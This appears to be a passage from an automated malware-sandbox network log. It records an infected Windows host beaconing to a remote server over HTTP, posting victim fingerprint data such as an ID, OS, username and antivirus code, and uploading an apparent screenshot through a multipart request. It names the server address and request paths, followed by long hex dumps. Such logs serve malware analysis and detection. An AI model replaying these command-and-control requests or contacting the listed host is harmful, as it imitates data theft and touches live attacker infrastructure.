Apr 28, 2021 23:23:38.704493046 CEST	9535	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
483	192.168.2.5	49999	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:38.722523928 CEST	9536	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
484	176.111.174.114	80	192.168.2.5	49999	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:38.825500011 CEST	9590	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
485	176.111.174.114	80	192.168.2.5	49998	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:38.995335102 CEST	9683	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
486	192.168.2.5	50000	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:39.032419920 CEST	9684	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
487	176.111.174.114	80	192.168.2.5	50000	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:39.136065960 CEST	9684	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
488	192.168.2.5	50002	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:39.343343019 CEST	9685	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
489	176.111.174.114	80	192.168.2.5	50002	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:39.444026947 CEST	9685	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	176.111.174.114	80	192.168.2.5	49736	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:31.096833944 CEST	1588	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
490	192.168.2.5	50003	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:39.661972046 CEST	9686	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
491	176.111.174.114	80	192.168.2.5	50003	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:40.155738115 CEST	9686	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:40 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
492	192.168.2.5	50005	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:40.374376059 CEST	9687	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
493	176.111.174.114	80	192.168.2.5	50005	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:41.158641100 CEST	9687	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
494	192.168.2.5	50006	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:41.456721067 CEST	9688	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
495	176.111.174.114	80	192.168.2.5	50006	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:41.559973001 CEST	9688	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
496	192.168.2.5	50007	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:41.746068001 CEST	9702	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:41.842701912 CEST	9707	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:41.842947006 CEST	9713	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:41.843003988 CEST	9729	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:41.940901995 CEST	9737	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:41.941008091 CEST	9781	OUT	Data Raw: 41 ed ab f5 47 3a d0 c8 3e fc 66 94 47 eb 19 5a e8 c5 ed 8c dc 3c 35 34 70 e8 f7 1f 7e 1c 54 fd 4f 9b e1 90 be b7 cb bc 4e 53 26 91 73 8e 6b ab 93 46 d2 5f 98 e4 c5 40 7c 35 63 3f fa b9 45 2f a8 d4 ee 54 71 b4 9e e8 e7 29 eb 8d a3 3e b5 b4 de 11 Data Ascii: AG:>fGZ<54p~TONS&skF_@\|5c?E/Tq)>MT}VkB]LON&&}}X?)g4S5+S6S1#vzO/4:%35>5j/$)T\|EiQir6E*I#
